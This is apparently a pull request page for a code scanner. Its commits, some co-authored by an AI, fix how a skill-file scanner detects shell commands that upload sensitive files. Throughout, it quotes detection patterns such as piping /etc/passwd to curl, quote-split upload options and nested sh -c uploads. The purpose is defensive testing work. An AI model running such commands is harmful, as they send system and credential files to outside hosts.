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Follow-up to #365 (train 22): addresses CodeRabbit's second review pass on #365, plus findings from our own review of the fix round.

Security (--scan-skills / wrap)

  • A quoted or escaped path no longer hides a sensitive read: cat "/etc/passwd" | curl --data-binary @- …, /etc/"passwd", @"/etc/passwd", < /etc/"passwd" and backslash-split paths are graded like their plain forms.
  • Split command names and runner prefixes (\cat, c"a"t, | \curl, \sudo, e"nv") and quote-split runner option values (sudo -u ro''ot …, env -u "PA"TH …) are read as the command they spell.
  • Each split word is assembled once and checked once at its end, so scan time stays linear on long quote-glued input. A timing arm in test/skillscan.sh covers this.
  • Invariant: never quieter than main. Over ~1,870 files, no exit code is lower and every replaced row is replaced on the same line by an equal or louder one.

Quality-delta log-only: logger receivers are matched by token. getLogger(...), structlog, @logger, HTTPLogger and logger2 count as loggers; catalog, dialog, backlog and login don't.

Diagnostics and docs

  • Multi-root refusal paths name a shallow clone on any mined root.
  • LIMITS.md notes the mention-depth cap.
  • The --impact sample shows d=.
  • The quality-delta legends and LINEAGE now say eleven kinds.
  • README's quality-kind count is updated.

Reviewed by an independent adversarial review over three rounds (signed at this head). Gates: skillscan (incl. the timing arm), regexguard, ASan on the scanner gates, the source-grep sweep, and quality-delta gating 0.

Known gaps, which main also misses, are tracked for 0.6.7: tar -I/--to-command "curl…", openssl s_client < "/etc/passwd", and bash -c '…"$0"' /etc/passwd.

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Summary by CodeRabbit

  • Bug Fixes

    • Sensitive-file reads split across quoted or escaped shell words are now more reliably recognized as uploads.
    • Shallow secondary repositories are correctly identified in refusal messages for affected reports, with guidance on deepening the clone.
    • Logger detection recognizes more naming styles while avoiding false matches on ordinary words such as “catalog.”
    • Impact results now show nearer symbols before deeper ones.
  • Documentation

    • Updated command guidance and examples, including the eleven quality finding types and additional impact report details.

joyful-ii-V-I and others added 14 commits September 30, 2026 20:28
`cat "/etc/passwd" | curl --data-binary @- URL` scanned clean while the unquoted form is CRITICAL: punctuation()
re-armed command position at every spaced opening quote, so a reader's quoted file became the segment's command
and noteRead never ran. A quote no longer re-arms inside a reader's segment (elsewhere it still may open a nested
command: `sh -c "…"`, `echo "…" | sh`), and netFlow reads a shell word split by quotes or backslash escapes
(`/etc/"passwd"`, `@"/etc/passwd"`, `/etc/pass\wd`) whole as well as piece by piece, so nothing a piece matched is lost.

test/skillscan.sh check 20: 13 quoted arms + a non-sensitive control; 10 red on e936826, all green here.
Multiset compare vs e936826 over test/skillfix, the 0.6.6 adversarial review set and this repo's md/script
files (1741 files): no row lost, no exit code lowered, no .md output changed without a new row; two CRITICAL
probe rows gain why="sensitive-read-upload" (same severity).

Addresses CodeRabbit 4150446453 (PR #365).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… clone

--hotspots, --cochange and --owners mine every workspace root, but their failure paths asked only the primary
root whether it was shallow, so a full primary + a shallow secondary with nothing mineable said "git unavailable".
minedRootShallowCause() is the failure-path twin of anyMinedRootShallow(): the first mined root (the symbol's root
for --owners=SYM) with a shallow-history cause, prefixed with that root on a multi-root run.

test/shallowhistorycheck.sh 3m: full+shallow workspace whose commits touch only notes.txt -> --cochange/--owners
refuse naming the shallow clone (red on e936826: "git unavailable"); full+full control keeps "git unavailable".
The --hotspots path gets the same probe; its multi-root failure branch is not reachable from this fixture (a
shallow root with any commit yields churn), so no hotspots arm.

Addresses CodeRabbit 4150446472 (PR #365).

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… nothing

docs/LIMITS.md listed kMentionsNameMaxDepth unclassified with no note. mentionsNameBelow answers "mentions it" for a
subtree deeper than 512 levels, so handlerShape never tags such a handler log-only and --quality-delta's
error-masking cannot find it: a silent miss, never a false finding. The declaration now says so (the note the
generator reads), docs/limits_classes.tsv classifies it INDEXING, and docs/LIMITS.md is regenerated by
docs/limits_build.py (128 of 230 caps classified). An emitted disclosure is deferred: it needs a new attribute
plumbed from handlershape.h to the quality answers and their legends, for a nesting depth no real handler reaches.

Addresses CodeRabbit 4150446446 (PR #365).

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…stray family heading, eleven-kind legends

- --impact: the help description repeated "transitive blast radius" after the summary; it now continues the
  summary ("— the indexed symbols that reach SYM …"). The capture's --impact block predated d=/by_depth=; it is
  corrected in place with this binary's own output on this tree (the recorder was not run).
- --mentions: docs_commands_build.py appended every four-space non-flag help line to the flag above it, so the
  "the pre-PR family — plumbing (--affected) … (--test-gate):" sub-heading sat in --mentions' prose (and the
  counts_floor= row in --impact's). classifyHelpLine() gives such a line its own row; the generator now ends the
  entry there. Side effect: the "Shaped by" lists drop the links those misattributed lines invented.
- --quality-delta: the description restated the summary; it now reads "— pair with --test-gate. Each kind is
  measured against the baseline (…)". The capture's six embedded legends said TEN KINDS without placeholder;
  corrected to the binary's ELEVEN KINDS wording (kQdLegendCore).
COMMANDS.md regenerated with python3 docs/docs_commands_build.py --bin build/ripwire.

Addresses CodeRabbit 4150446424, 4150446433, 4150446437, 4150446444 (PR #365).

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…depth-order comment

- ingest_names.h bindsOutsideItsFunction: ts_node_parent( roleNode ) is checked with ts_node_is_null before
  ts_node_type reads it (a root-level node has no parent; the empty-kind short circuit is kept).
- mcp.h tools/list filter: ASSUME the stanza's name string is closed (nameEnd != npos) before the substring;
  the input is this file's own output, so ASSUME (not VALIDATE) as for the opening prefix.
- verbs_navigate.h: orderByDepthThenRank sorts ascending depth, so the comment now says the nearest rows go first.

Addresses the three nitpicks of CodeRabbit review 5373321178 (PR #365).

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… words join in ShellWordJoin

--quality-delta gated on 29a1cea: NetFlowScan::word gained two parameters (api-surface) and complexity 16 -> 22. The whole-word read is its own step (wholeWord), and netFlow's joining moved to ShellWordJoin; behaviour unchanged (test/skillscan.sh ALL PASS).

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…l, an acronym or a digit

isLogReceiver's whole-word rule (round 1) split only on _ - and camelCase, so logging.getLogger(__name__), get_logger(), structlog.get_logger(), self.get_logger(), @logger, @log, $logger, this.#logger, this.HTTPLogger, log4js.getLogger(), HTTPLogger, DBLogger, logger2, mylog, vlog, logfire, logbook and structlog fell out, and Python's gating rows with them. Trailing balanced call arguments come off before the last dot segment; words split on every non-alphanumeric byte, at acronym-to-word and at letter-to-digit; isLogWord also takes a one-word logger package (structlog, logfire, logbook, loguru) and log/logger/logging behind a one- or two-letter alphabetic prefix other than b. catalog, dialog, backlog, changelog, analog, technology, blog stay out.

qualitykindscheck 5l second pass: 20 positive arms (Python gating; Ruby/TS/Java minor) red on e936826, green here; 10 negative arms green on both. From the orchestrator's train-22 delta review (M1).

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The binary's --quality-delta legend says ELEVEN KINDS (placeholder, 0.6.6); README.md:15 still said ten.

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…skill-scan entry (deckcheck)

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…a help-text edit

Only help_all moved (UPDATE_GOLDEN=1 diff is that one line): the change is the intended wording edit in src/cli.h (f9cc7de), not a printf-family conversion.

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…and as the command it names

Review of 8df82d8. M1: netFlow re-read the joined word for every piece (ShellWordJoin::add compared and wholeWord rescanned the word so far), so one word cut into k pieces cost k squared: 168 s for a 384 KB line, a stall for --scan-skill(s) and wrap on a hostile SKILL.md. The word is now assembled once and read once, when it ends (ShellWordJoin::continuesAt). M2: the whole word took redirectIn=false, so '< /etc/"passwd"' read nothing; the word's start state (prev token, redirect, command position) is captured at its first piece. M3: a command NAME split by quotes or an escape (\cat, c"a"t, /bin/c"a"t, \curl, c"url") was never the command, on main too; in command position the whole word is now noted as the command, or as a runner prefix that leaves the next word the command. Pieces are still classified one by one, so this only adds.

test/skillscan.sh check 20: 8 new arms red on 8df82d8 (and main), green; a linear-time arm (32k vs 8k glued pieces, pass under 6x or 1 s) red on 8df82d8 at 12.8x / 9.97 s, green at 2.8x / 0.06 s. CHANGELOG: the skill-scan entry now names command words and redirects; the log-receiver entry says clog/flog/clogging count and only LONGER English -log words and blog stay out (review S2).

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…used-helper

Review of 8df82d8, S1.

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… a value or a flag

Review of 70e0d41, N1: wholeWord re-judged a split word in command position from the state its LAST piece left, so `sudo -u ro''ot cat`, `env -u "PA"TH curl`, `timeout -s "KI"LL 5 cat`, `xargs -I "{"} curl` and `sudo "-"u root cat` made the value (or the flag's tail) the command and the real command an argument; main misses them too. WordStart now also saves skipValue and activePrefix, and wholeWord restores them (with expectCommand) before prefixWord judges the whole word.

test/skillscan.sh check 20: 5 arms red on 70e0d41, green; linear-time arm still 2.7x / 0.06 s.

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The changes update shell scanning for quoted and escaped words, expand logger receiver recognition, improve shallow-history refusal messages, reorder impact results, revise command references, and add input boundary checks.

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Sensitive shell reads

Layer / File(s) Summary
Reconstruct and classify shell words
src/skillscan.h, test/skillscan.sh, CHANGELOG.md
The scanner reassembles words split by quotes or escapes and classifies them using their starting context. Regression tests cover sensitive reads and uploads, including a performance check.

Logger detection and quality kinds

Layer / File(s) Summary
Recognize logger receiver names
src/handlershape.h, test/qualitykindscheck.sh, CHANGELOG.md, docs/LIMITS.md
Receiver matching strips trailing calls and recognizes logger words across punctuation, case transitions, and digits. Tests cover supported forms and exclusions. The limits documentation classifies the mentions-name depth cap as INDEXING.
Update quality-kind references
README.md, docs/LINEAGE.md, src/cli.h, docs/COMMANDS.md
The references state eleven quality kinds and document the placeholder finding kind.

Shallow-history refusals

Layer / File(s) Summary
Report shallow causes from mined roots
src/verbs_report.h, test/shallowhistorycheck.sh, CHANGELOG.md
Refusal paths check the relevant mined roots for shallow history. Tests cover mixed shallow and full repositories.

Impact output and command references

Layer / File(s) Summary
Revise impact output and command reference
src/verbs_navigate.h, src/cli.h, docs/COMMANDS.md, docs/docs_commands_build.py
Impact rows are ordered by ascending call depth before pagination. Impact text and shaping-option lists are revised. The help parser skips indented non-flag lines.

Input boundary checks

Layer / File(s) Summary
Check parent nodes and quoted names
src/ingest_names.h, src/mcp.h
Name ingestion checks for a parent before reading its type. MCP tools/list parsing asserts that the name string has a closing quote.

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The skill scanner can miss some sensitive-file uploads. One case is an upload hidden in a nested shell command. Another is an upload option split by quotes. Logger detection can also misjudge receivers when string arguments contain parentheses. Address the scanner regressions before merging.

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- Line 481: Update the parenthesis scan used by withoutTrailingCalls so
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…on precedes its file

PR #367 review. 4153226359: the quote re-arm read the SEGMENT's reader state, so in `cat <(sh -c 'curl … @/etc/passwd URL')` (and `cat $(sh -c …)`) the outer cat kept sh's quoted script from being read as a command and the upload went unseen; main caught both (an invariant break of this lane). The re-arm now reads cmdReader, the current command's own reader state, saved and restored around each `(`/`<(`/`$(`/backtick context, so `cat <(…) "/etc/passwd"` is still cat's read. segReader (read operands) is unchanged. 4153226363: after a split word, prevToken held only its last piece, so `curl --upload-""file /etc/passwd` and `-""T` missed the upload option; the word as written (case kept) is now the next word's prevToken, from a two-buffer ShellWordJoin.

test/skillscan.sh check 20: 4 arms red on ce097b4, plus a guard (`cat <(true) "/etc/passwd"`) green on both; linear-time arm 2.9x.

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PR #367 review 4153226351: withoutTrailingCalls counted parens inside strings, so getLogger("service.worker)").error(…) kept its argument (no log-only row) and getStore("logger(").error(…) was cut to getStore("logger (a false logger). One forward pass now skips quoted text and escapes. qualitykindscheck 5l: both directions, red on ce097b4, green.

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…ptions and nested contexts

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Disposition of the commits after CodeRabbit's review (reviewed head ce097b48):

  • 985d5c1a changelog: skill-scan entry names split option values, split upload options and nested contexts
  • 4d2322e7 fix(quality): a paren inside a quoted call argument is not a call delimiter
  • 67cb40a3 fix(skillscan): reader state per command context; a split upload option precedes its file

These address the four inline threads, and each thread has a reply naming its commit. The nested-context reader state was a regression against main, and main's verdict is restored. The split upload options and parentheses inside strings are fixed, each with a regression arm. One thread was declined, with the reason: NodeId order is deterministic by construction. An independent review re-checked this head: the scan is never quieter than main over ~1,880 files, scan time stays linear, ASan is clean and quality-delta gating is 0.

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